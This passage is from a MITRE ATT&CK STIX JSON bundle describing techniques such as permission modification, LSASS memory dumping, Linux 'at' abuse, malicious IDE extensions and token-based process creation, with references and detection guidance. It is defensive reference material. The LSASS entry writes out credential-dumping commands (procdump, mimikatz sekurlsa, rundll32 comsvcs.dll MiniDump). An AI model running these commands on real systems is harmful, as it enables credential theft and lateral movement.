            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Service: Service Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222",
                    "external_id": "T1222"
                },
                {
                    "source_name": "falconoverwatch_blackcat_attack",
                    "description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.",
                    "url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"
                },
                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
                },
                {
                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
                },
                {
                    "source_name": "bad_luck_blackcat",
                    "description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.",
                    "url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"
                },
                {
                    "source_name": "fsutil_behavior",
                    "description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"
                },
                {
                    "source_name": "EventTracker File Permissions Feb 2014",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
                    "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"
                },
                {
                    "source_name": "blackmatter_blackcat",
                    "description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
                },
                {
                    "source_name": "new_rust_based_ransomware",
                    "description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:17.378Z",
            "name": "File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Jan Miller, CrowdStrike"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution",
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "created": "2020-02-11T18:41:44.783Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/001",
                    "external_id": "T1003.001"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "Deep Instinct LSASS",
                    "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.",
                    "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Symantec Attacks Against Government Sector",
                    "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.",
                    "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"
                },
                {
                    "source_name": "TechNet Blogs Credential Protection",
                    "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:45:12.834Z",
            "name": "LSASS Memory",
            "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Edward Millington",
                "Ed Williams, Trustwave, SpiderLabs",
                "Olaf Hartong, Falcon Force",
                "Michael Forret, Quorum Cyber"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Process: OS API Execution",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
            "created": "2019-12-03T12:59:36.749Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/001",
                    "external_id": "T1053.001"
                },
                {
                    "source_name": "rowland linux at 2019",
                    "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.",
                    "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
                },
                {
                    "source_name": "GTFObins at",
                    "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.",
                    "url": "https://gtfobins.github.io/gtfobins/at/"
                },
                {
                    "source_name": "Kifarunix - Task Scheduling in Linux",
                    "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.",
                    "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-18T17:59:20.778Z",
            "name": "At (Linux)",
            "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--66b34be7-6915-4b83-8d5a-b0f0592b5e41",
            "created": "2025-03-30T22:16:24.078Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1176/002",
                    "external_id": "T1176.002"
                },
                {
                    "source_name": "Abramovsky VSCode Security",
                    "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
                    "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
                },
                {
                    "source_name": "Lakshmanan Visual Studio Marketplace",
                    "description": "Lakshmanan, R. (2023, January 9). Hackers Can Abuse Visual Studio Marketplace to Target Developers with Malicious Extensions. Retrieved March 30, 2025.",
                    "url": "https://thehackernews.com/2023/01/hackers-distributing-malicious-visual.html"
                },
                {
                    "source_name": "Mnemonic misuse visual studio",
                    "description": "Mnemonic. (n.d.). Advisory: Misuse of Visual Studio Code for traffic tunnelling. Retrieved March 30, 2025.",
                    "url": "https://www.mnemonic.io/resources/blog/misuse-of-visual-studio-code-for-traffic-tunnelling/"
                },
                {
                    "source_name": "ExtensionTotal VSCode Extensions  2025",
                    "description": "Yuval Ronen. (2025, April 4). Mining in Plain Sight: The VS Code Extension Cryptojacking Campaign. Retrieved April 8, 2025.",
                    "url": "https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-23T12:40:46.664Z",
            "name": "IDE Extensions",
            "description": "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.(Citation: Mnemonic misuse visual studio) IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)) or side-loaded directly into the IDE.(Citation: Abramovsky VSCode Security)(Citation: Lakshmanan Visual Studio Marketplace)   \n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., [IDE Tunneling](https://attack.mitre.org/techniques/T1219/001)).  \n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.(Citation: ExtensionTotal VSCode Extensions  2025)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Raghvendra Mishra, Arista Networks",
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                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
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                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
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                {
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
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                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
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                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
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                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
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                {
                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
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                {
                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
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                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
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                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
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                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
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                {
                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
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                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
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                    "source_name": "Botnet Scan",
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                    "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
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                    "source_name": "OWASP Fingerprinting",
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                    "url": "https://attack.mitre.org/techniques/T1027/016",
                    "external_id": "T1027.016"
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                    "source_name": "ReasonLabs",
                    "description": "ReasonLabs. (n.d.). What is Dead code insertion?. Retrieved March 4, 2025.",
                    "url": "https://cyberpedia.reasonlabs.com/EN/dead%20code%20insertion.html"
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                {
                    "source_name": "ReasonLabs Cyberpedia Junk Code",
                    "description": "What is Junk Code?. (n.d.). ReasonLabs. Retrieved April 4, 2025.",
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            "description": "Adversaries may use junk code / dead code to obfuscate a malware\u2019s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with [Compression](https://attack.mitre.org/techniques/T1027/015) or [Software Packing](https://attack.mitre.org/techniques/T1027/002).(Citation: ReasonLabs)(Citation: ReasonLabs Cyberpedia Junk Code)\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.(Citation: ReasonLabs)\n\nThe use of junk / dead code insertion is distinct from [Binary Padding](https://attack.mitre.org/techniques/T1027/001) because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware\u2019s signature.   ",
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                    "external_id": "T1547.011"
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                {
                    "source_name": "fileinfo plist file description",
                    "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
                    "url": "https://fileinfo.com/extension/plist"
                },
                {
                    "source_name": "wardle artofmalware volume1",
                    "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.",
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            "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)",
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                    "external_id": "T1548"
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                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
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                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
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                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
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        {
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            "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "created": "2020-02-18T16:48:56.582Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/002",
                    "external_id": "T1134.002"
                },
                {
                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
                },
                {
                    "source_name": "Microsoft RunAs",
                    "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:17.537Z",
            "name": "Create Process with Token",
            "description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vadim Khrykov",
                "Jonny Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
            "created": "2020-01-30T14:11:41.212Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/001",
                    "external_id": "T1548.001"
                },
                {
                    "source_name": "GTFOBins Suid",
                    "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
                    "url": "https://gtfobins.github.io/#+suid"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "setuid man page",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                    "url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:17.707Z",
            "name": "Setuid and Setgid",
